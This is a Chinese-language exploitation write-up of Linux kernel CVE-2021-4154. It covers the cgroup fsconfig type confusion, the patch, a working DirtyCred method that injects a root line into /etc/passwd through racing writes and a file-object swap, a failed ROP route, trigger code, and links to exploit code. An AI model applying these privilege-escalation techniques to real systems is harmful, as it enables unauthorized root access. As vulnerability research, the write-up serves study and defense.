【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用
影响版本:Linux v5.13.4 以前,v5.13.4 已修补。评分8.8
测试版本:Linux-5.13.3 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项:
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.3.tar.xz
$ tar -xvf linux-5.13.3.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:kernel/cgroup/cgroup-v1.c
的 cgroup1_parse_param() 函数(通过fsconfig
系统调用触发)存在类型混淆,导致UAF漏洞。可以调用syscall fsconfig
设置任意的 fd,最终关闭该文件后 fd 对应 file
对象会被释放。这样我们就能释放任意一个文件描述符对应的 file
结构。本文采用两种方法实现利用,一是DirtyCred,二是构造ROP。对比两种方法,DirtyCred方法的优点是跨内核版本通用,不需要适配,缺点是需要覆写特权文件来提权,所以在docker等容器中无法提权;ROP的优点是可以任意读写内核内存并执行任意代码,缺点是对不同内核版本的适配很麻烦。
补丁:patch 添加检查,若 param->type != fs_value_is_string
,则报错退出。
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
+ if (param->type != fs_value_is_string)
+ return invalf(fc, "Non-string source");
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;
保护机制:KASLR/SMEP/SMAP/KPTI
利用总结:
-
DirtyCred 方法:成功。
- (1)准备工作:创建
./exp_dir
目录和可写文件./exp_dir/data
,创建软连接./exp_dir/uaf -> ./exp_dir/data
- (2)循环运行子进程
namespace_sandbox_proc()
进行提权,检查/etc/passwd
是否被篡改; - (3)打开文件
./exp_dir/uaf
(文件描述符为uaf_fd
),触发漏洞释放uaf_fd
对应的file
结构; - (4)线程1——
slow_write()
打开文件./exp_dir/uaf
(文件描述符为fd
),写入大量数据来占据读写锁; - (5)线程2——
write_cmd()
往文件描述符uaf_fd
写入恶意数据(例如hacker:x:0:0:root:/:/bin/sh
); - (6)线程3(父线程)——
spray_files()
通过打开大量的/etc/passwd
来喷射高权限file
对象,替换uaf_fd
对应的file
结构。每打开一次/etc/passwd
,都调用kcmp
(syscall-kcmp 默认开启了CONFIG_KCMP
,就可以使用)检查当前打开的文件描述符和uaf_fd
是否对应同一文件,判断是否替换成功。
- (1)准备工作:创建
-
ROP 方法:本方法在测试过程中还是会有问题,没能成功提权(在通过漏洞的悬垂指针释放
file
对象时报错,kernel BUG at mm/slub.c:4205!
,报错代码在 kfree())。经过调试发现,cross-cache 并没有成功,file
cache page 并没有被msg_msg
复用,导致(1-5)
没能成功泄露 magic 值。- (1)泄露 heap magic 值
- (1-1)喷射
file
对象:打开5000个文件,打开漏洞文件uaf_fd
,再打开5000个文件; - (1-2)释放
uaf_fd
附近的400个文件,以释放一整个filp
cache page; - (1-3)喷射800个
msg_msg -> msg_msgseg
(填充字节A
),也即kmalloc-4k -> kmalloc-512
,进行cross-cache
利用,其中某个msg_msgseg
会占据uaf_fd
对应的file
对象; - (1-4)触发漏洞再次释放
uaf_fd
对应的file
对象(称为漏洞对象),这样就会在漏洞对象上写入 magic 值; - (1-5)利用
msg_msg
读取漏洞对象上的magic值(这个和漏洞对象重叠的消息下标记为msg_id
);
- (1-1)喷射
- (2)泄露内核基址
- (2-1)喷射 100 个
pipe_buffer
,利用fcntl
调用调整分配大小为8*40 = 320
(位于kmalloc-512
),占据漏洞对象; - (2-2)通过重叠的
msg_msg
,泄露pipe_buffer->page
和pipe_buffer->ops
;
- (2-1)喷射 100 个
- (3)泄露堆地址:释放下标为
msg_id+1
的消息;遍历 100 个pipe_buffer
,每次调用fcntl
会先分配新的pipe_buffer
(分配大小为10*40=400
)再释放掉原先的pipe_buffer
,如果恰好释放了漏洞对象,那么通过msg_msg
读取漏洞对象,就能泄露下标为msg_id+1
的消息的地址。问题是,分配新的pipe_buffer
时会不会占用下标为msg_id+1
的消息呢???如果会占用,那么只能说泄露了某个kmalloc-512
的堆块地址(记录为leaked kmalloc-512
)。 - (4)布置ROP并劫持控制流
- 问题是,这时的
pipe_buffer
大小只有512字节,不足以放下ROP、ops结构、保存rbp等。 - (4-1)再次喷射100个
pipe_buffer
,每喷射1个,都通过msg_msg
读取漏洞对象来检查漏洞对象是否被pipe_buffer
占用,如果被占用则记录pipe_bufffer
的下标——pipe_victim_idx
。问题是,会不会有某个pipe_buffer
占据了刚才泄露地址的堆块leaked kmalloc-512
???那么就不能在这个堆块上放置伪造的pipe_buffer->ops
结构了。 - (4-2)伪造
pipe_buffer->ops
结构和 ROP 链,喷射100个msg_msg
,希望能够喷到刚才泄露地址的堆块leaked kmalloc-512
。 - (4-3)伪造
pipe_buffer->ops
指针、pivot gadget
,通过msg_msg
释放漏洞对象,然后喷射100个msg_msg
来篡改pipe_buffer
; - (4-4)通过关闭下标为
pipe_victim_idx
的pipe_buffer
,触发劫持控制流。
- 问题是,这时的
- (1)泄露 heap magic 值
1. 漏洞分析
触发代码:
int fscontext_fd = fsopen("cgroup");
int fd_null = open("/dev/null, O_RDONLY);
int fsconfig(fscontext_fd, FSCONFIG_SET_FD, "source", fd_null);
close_range(3, ~0U, 0);
漏洞:cgroup v1 的 cgroup1_parse_param() 需要一个标记为 “source” 的字符串参数,但同时 “source” 也能指定一个文件描述符,而 cgroup1_parse_param() 没有区分传入的是字符串(param->type == fs_value_is_string
)还是文件描述符(param->type == fs_value_is_file
),就直接把 param->string
(param
是 fs_parameter 结构,其中 param->string
和 param->file
是用union 存储的,所以空间重叠,存在类型混淆漏洞)赋值给了 fc->source
。如果我们调用 fsconfig
时传入的是 fd_null
,后面触发执行 put_fs_context() 时会释放 fc->source
,从而实际释放了 fd_null
对应的 file
对象,之后关闭 fd_null
时触发UAF。
调用路径:SYSCALL-fsconfig -> vfs_fsconfig_locked() -> vfs_parse_fs_param() -> cgroup1_parse_param()
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
...
switch (cmd) {
...
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string; // [1] 设置 fs_parameter 结构
param.string = strndup_user(_value, 256);
param.size = strlen(param.string);
break;
...
case FSCONFIG_SET_FD: // [2] 设置 fs_parameter 结构
param.type = fs_value_is_file;
param.file = fget(aux);
break;
...
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m); // <--- [3] 最终调用 cgroup1_parse_param() 漏洞函数, 传入 param 结构
mutex_unlock(&fc->uapi_mutex);
}
...
}
struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {
char *string;
void *blob;
struct filename *name;
struct file *file; // file 指针和 string 指针位于 union 结构中,所以重叠了
};
size_t size;
int dirfd;
};
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct cgroup_fs_context *ctx = cgroup_fc2context(fc);
struct cgroup_subsys *ss;
struct fs_parse_result result;
int opt, i;
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string; // [4] 漏洞!!! 没有检查 param->type 类型, 可能将 param->file 赋值给 fc->source
param->string = NULL;
return 0;
}
for_each_subsys(ss, i) {
if (strcmp(param->key, ss->legacy_name))
continue;
if (!cgroup_ssid_enabled(i) || cgroup1_ssid_disabled(i))
return invalfc(fc, "Disabled controller '%s'",
param->key);
ctx->subsys_mask |= (1 << i);
return 0;
}
return invalfc(fc, "Unknown subsys name '%s'", param->key);
}
...
}
2. DirtyCred 利用方法
DirtyCred exp适用版本:
- CentOS 8 kernels higher than linux-4.18.0-305.el8
- Debian 11 kernels higher than 5.10.0-8
- Fedora 31/32/33 kernels higher than 5.3.7-301.fc31
- Ubuntu 18/20 kernels higher than 5.4.0-84 and 5.11.0-37.41
2-1. 利用思路
思路来源:DirtyCred 方法的灵感来自于 Jann Horn 的 double-put exploit,该漏洞和 CVE-2021-4154 类似,释放某个 file
结构但仍存有对该结构的引用。Jann Horn 的利用方法是,先打开一个具有写权限的非特权文件,然后写入恶意内容,在检查写许可和实际写这个时间窗口之间,用特权 file
结构来替换低权限 file
结构(例如打开 /etc/crontab
或 /etc/passwd
文件,就会分配一个特权 file
对象),这样就会将恶意内容写入特权文件。
时间窗口:看以下写函数中,vfs_writev()
(通过 writev
系统调用来触发)先检查文件的写许可,然后调用 do_readv_writev()
准备io并进行实际写。do_readv_writev()
进行实际写之前会先调用 rw_copy_check_uvector()
访问用户数据(本函数作用是处理用户空间的io), Jann Horn 就是利用FUSE在这里暂停的。
注意,为什么选取 writev
这个调用来写文件呢?后缀 v
表示 vector
,向量写,用户可以通过 iovec 结构一次传递多个用户地址,这样内核在实际写文件之前就先从用户读取这个 iovec 结构,那就可以在读取 iovec 结构的时候暂停内核。普通的 write
可能就直接写文件了,根本不给你暂停的机会。
ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
unsigned long vlen, loff_t *pos)
{
if (!(file->f_mode & FMODE_WRITE)) // [1] 检查是否具有写许可
return -EBADF;
if (!(file->f_mode & FMODE_CAN_WRITE))
return -EINVAL;
return do_readv_writev(WRITE, file, vec, vlen, pos); // [2] 调用 do_readv_writev() 进行实际写
}
static ssize_t do_readv_writev(int type, struct file *file,
const struct iovec __user * uvector,
unsigned long nr_segs, loff_t *pos)
{
size_t tot_len;
struct iovec iovstack[UIO_FASTIOV];
struct iovec *iov = iovstack;
ssize_t ret;
io_fn_t fn;
iov_fn_t fnv;
iter_fn_t iter_fn;
// userfault here // [3] 读取用户传入的 iovec 结构, 可以暂停
ret = rw_copy_check_uvector(type, uvector, nr_segs,
ARRAY_SIZE(iovstack), iovstack, &iov);
if (ret <= 0)
goto out;
tot_len = ret;
ret = rw_verify_area(type, file, pos, tot_len); // [4] 实际写
if (ret < 0)
goto out;
// perform writing
...
}
问题:在 Jann Horn 公开exp之后,内核 v4.13 以后就修补了这个问题,将 rw_copy_check_uvector()
调用移到了许可检查的前面。这样 Jann Horn 的方法就不可用了。
static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
unsigned long vlen, loff_t *pos, rwf_t flags)
{
struct iovec iovstack[UIO_FASTIOV];
struct iovec *iov = iovstack;
struct iov_iter iter;
ssize_t ret;
// preparing io, where kernel could be paused using userfault
ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter); // [1] 先读取 iovec 结构
if (ret >= 0) {
file_start_write(file);
ret = do_iter_write(file, &iter, pos, flags); // [2] do_iter_write()
file_end_write(file);
kfree(iov);
}
return ret;
}
static ssize_t do_iter_write(struct file *file, struct iov_iter *iter,
loff_t *pos, rwf_t flags)
{
size_t tot_len;
ssize_t ret = 0;
// checking permission
if (!(file->f_mode & FMODE_WRITE)) // [3] 再检查写许可
return -EBADF;
if (!(file->f_mode & FMODE_CAN_WRITE))
return -EINVAL;
tot_len = iov_iter_count(iter);
if (!tot_len)
return 0;
ret = rw_verify_area(WRITE, file, pos, tot_len);
if (ret < 0)
return ret;
// performing writing // [4] 最后进行实际写入
if (file->f_op->write_iter)
ret = do_iter_readv_writev(file, iter, pos, WRITE, flags);
else
ret = do_loop_readv_writev(file, iter, pos, WRITE, flags);
if (ret > 0)
fsnotify_modify(file);
return ret;
}
2-2. 利用文件系统锁来暂停内核
方法:文件系统不允许多个线程同时写入同一文件,所以采用锁机制来保证只有1个线程进行实际写。所以可以利用多线程竞争写来延长时间窗口。
- 线程1打开可写文件,写入大量数据,这样就能 长时间占用锁;
- 线程2打开同一文件,等待写入恶意数据;
- 线程3触发漏洞,将线程2的低权限
file
结构释放,并用高权限file
结构替换(打开/etc/passwd
即可)。
Thread 0: slow write Thread 1: cmd write Thread 3: exploit
__fdget_pos (no lock) __fdget_pos (bypass lock) |
| | |
| | |
\/ \/ |
ext4_file_write_iter (lock inode) ext4_file_write_iter (wait for lock) |
| | |
| | |
\/ | \/
normal write | replace the file structure
| |
| |
\/ |
write done, release inode lock |
\/
get inode lock and then write
|
\/
write done
问题:在检查写许可之前会调用 __fdget_pos()
,其中也会获取 file->f_pos_lock
锁,可能导致线程2卡在检查写许可之前(这样就无法增大写许可检查和实际写之间的时间窗口)。看以下代码,若当前 file
包含 FMODE_ATOMIC_POS
flag 且 refcount 大于1,就会有锁来避免多个线程竞争写入同一文件。本利用中由于在线程1和2中都打开了同一文件,所以至少有3个refcount,所以我们需要移除 FMODE_ATOMIC_POS
flag 来避免去争夺锁。
unsigned long __fdget_pos(unsigned int fd)
{
unsigned long v = __fdget(fd);
struct file *file = (struct file *)(v & ~3);
if (file && (file->f_mode & FMODE_ATOMIC_POS)) {
if (file_count(file) > 1) {
v |= FDPUT_POS_UNLOCK;
mutex_lock(&file->f_pos_lock);
}
}
return v;
}
解决:在 open
调用中,只要文件是常规文件,就会设置 FMODE_ATOMIC_POS
flag,作者查看内核代码后发现,如果打开软连接文件就不会设置 FMODE_ATOMIC_POS
flag,这样就能避免卡在 __fdget_pos()
函数中。
/* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;
文件系统锁:如下所示,ext4_file_write_iter()
会对 inode
上锁,避免多个线程同时写入同一文件,这个锁恰好在写许可检查与实际写之间。线程1先获得锁并写入大量数据,线程2写入同一文件(确保不会在__fdget_pos()
中卡住),在函数 ext4_file_write_iter()
中获取 inode 锁时暂停,线程3触发漏洞释放线程2的file
结构,并用特权 file
结构替换,等线程2获得锁后会往特权文件写入恶意数据。
调用路径:.write_iter -> ext4_file_write_iter() -> ext4_buffered_write_iter()
static ssize_t ext4_buffered_write_iter(struct kiocb *iocb,
struct iov_iter *from)
{
ssize_t ret;
struct inode *inode = file_inode(iocb->ki_filp);
if (iocb->ki_flags & IOCB_NOWAIT)
return -EOPNOTSUPP;
ext4_fc_start_update(inode);
inode_lock(inode); // [1] 获取 inode 锁
...
ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos); // [2] 实际写 generic_perform_write
...
inode_unlock(inode); // [3] 释放 inode 锁
return ret;
}
2-3. 测试结果
如下图所示,成功往 /etc/passwd
文件写入了 "hi:x:0:0:root:/:/bin/sh\n"
,将当前用户 hi
(密码为 lol
)修改成了root权限。
3. ROP 利用方法
3-1. Cross-cache 覆写
方法:先打开10000个文件,释放400个文件(包括漏洞 file
对象),有概率将一整个 filp
cache page 释放后还给页管理器;然后堆喷 struct msg_msgseg
占用 filp
cache page。注意,堆喷对象所在的 slab cache 对应的 page size 最好和 filp
cache 一样,这样能提高可靠性。
3-2. 绕过 FREELIST_HARDENED
方法:以往大家认为绕过 FREELIST_HARDENED
需要泄露一个 xor'ed freelist pointer
和一个堆地址,这样才能计算出 magic 值。但其实,我们可以不用泄露某个已知的堆地址,就能计算出 magic 值,进而泄露堆地址。参考 How AUTOSLAB Changes the Memory Unsafety Game 。
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;
#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif
*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}
若 current freelist pointer 为0,表示 freelist 中没有对象,这里 fp
也为0,那么 xor’ed freelist pointer 就为 magic_value ^ 0
,直接就等于 magic 值本身,这样就能绕过 FREELIST_HARDENED
。
作者在利用中,完成 cross-cache 之后,通过漏洞再次释放 file
结构,就会将 xor’ed value 留在堆上,可通过读取 msg_msg
内容来泄露。
泄露堆地址:以上已经获得了 magic值,可继续通过以下步骤泄露堆地址。
- 申请对象
obj_A
来占据被漏洞释放的堆块; - 释放同一cache中的对象
obj_B
,然后再次释放obj_A
; - 这样
obj_A
上的 freelist 指针就等于address_of_obj_B ^ magic_value
,泄露obj_A
的内容就能泄露obj_B
的堆地址。
3-3. 利用 pipe_buffer
绕过KASLR并劫持控制流
方法:参考 Andy’s write-up 如何利用 pipe_buffer
绕过KASLR并劫持控制流(ROP构造也可以参考),问题是 pipe_buffer
默认分配位于 kmalloc-1k
,而我们需要一个位于 kmalloc-512
的弹性对象。看以下代码,可以通过 syscall fcntl
来控制 nr_slots
变量,进而控制 pipe_buffer
的分配大小,本例中作者使用的是 0x8 和 0xa,这个功能在 Android 和通用内核中很常见。
pipe_buffer默认分配路径:pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 默认分配大小为0x370(默认16个page,16*0x28=0x370)。
fcntl 修改分配大小:SYSCALL-fcntl -> do_fcntl() -> pipe_fcntl() -> pipe_set_size() -> pipe_resize_ring() 传入的flag标记为 F_SETPIPE_SZ
,赋值语句是 nr_slots = size >> PAGE_SHIFT
,所以传入的size为 0x8000,这样才能使 nr_slots = 8
,这样分配出来的堆块大小为 8 * sizeof(pipe_buffer) == 8 * 0x28 == 320
,位于 kmalloc-512。 注意,从以下代码可以看出,每调用一次 fcntl
就会重新分配一次 pipe_buffer
不管分配大小是否相等。
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops; // offset 0x10
unsigned int flags;
unsigned long private;
};
static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{
unsigned long user_bufs;
unsigned int nr_slots, size;
long ret = 0;
size = round_pipe_size(arg);
nr_slots = size >> PAGE_SHIFT; // [1] 修改 nr_slots 值,所以传入的 size 为 0x8000
...
ret = pipe_resize_ring(pipe, nr_slots); // [2] 调用 pipe_resize_ring() 重新分配
...
}
int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
unsigned int head, tail, mask, n;
mask = pipe->ring_size - 1;
head = pipe->head;
tail = pipe->tail;
n = pipe_occupancy(pipe->head, pipe->tail);
if (nr_slots < n)
return -EBUSY;
bufs = kcalloc(nr_slots, sizeof(*bufs), // [3] 分配 pipe_buffer
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
...
kfree(pipe->bufs); // [4] 释放原先的 pipe->bufs
pipe->bufs = bufs; // [5] 替换 pipe->bufs 指针
pipe->ring_size = nr_slots;
...
}
4. 补充
4-1. file
对象分配
file
对象是从专属cache(filp
cache)分配的。
void __init files_init(void)
{
filp_cachep = kmem_cache_create("filp", sizeof(struct file), 0,
SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL);
percpu_counter_init(&nr_files, 0, GFP_KERNEL);
}
$ sudo cat /proc/slabinfo
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
filp 107391 111104 256 64 4 : tunables 0 0 0 : slabdata 1736 1736 0
john@ubuntu:~/Desktop/tmp/CVE-2021-4154/linux-5.13.3$ pahole -C file ./vmlinux
struct file {
union {
struct llist_node fu_llist; /* 0 8 */
struct callback_head fu_rcuhead __attribute__((__aligned__(8))); /* 0 16 */
} f_u __attribute__((__aligned__(8))); /* 0 16 */
struct path f_path; /* 16 16 */
struct inode * f_inode; /* 32 8 */
const struct file_operations * f_op; /* 40 8 */
spinlock_t f_lock; /* 48 4 */
enum rw_hint f_write_hint; /* 52 4 */
atomic_long_t f_count; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
unsigned int f_flags; /* 64 4 */
fmode_t f_mode; /* 68 4 */
struct mutex f_pos_lock; /* 72 32 */
loff_t f_pos; /* 104 8 */
struct fown_struct f_owner; /* 112 32 */
/* --- cacheline 2 boundary (128 bytes) was 16 bytes ago --- */
const struct cred * f_cred; /* 144 8 */
struct file_ra_state f_ra; /* 152 32 */
u64 f_version; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void * f_security; /* 192 8 */
void * private_data; /* 200 8 */
struct hlist_head * f_ep; /* 208 8 */
struct address_space * f_mapping; /* 216 8 */
errseq_t f_wb_err; /* 224 4 */
errseq_t f_sb_err; /* 228 4 */
/* size: 232, cachelines: 4, members: 21 */
/* forced alignments: 1 */
/* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));
4-2. 常用命令
常用命令:
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
ftrace调试:注意,QEMU启动时需加上 no_hash_pointers
启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p
打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p
-> %lx
。
# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
#echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable
echo 1 > events/kmem/kmem_cache_alloc/enable
echo 1 > events/kmem/kmem_cache_free/enable
# ssh 连进去执行 exploit
cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt
# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
参考
DirtyCred: Escalating Privilege in Linux Kernel - ACM CCS 2022
【bsauce读论文】 DirtyCred-内核凭证替换利用技术
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2022/10/17/CVE-2021-4154/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)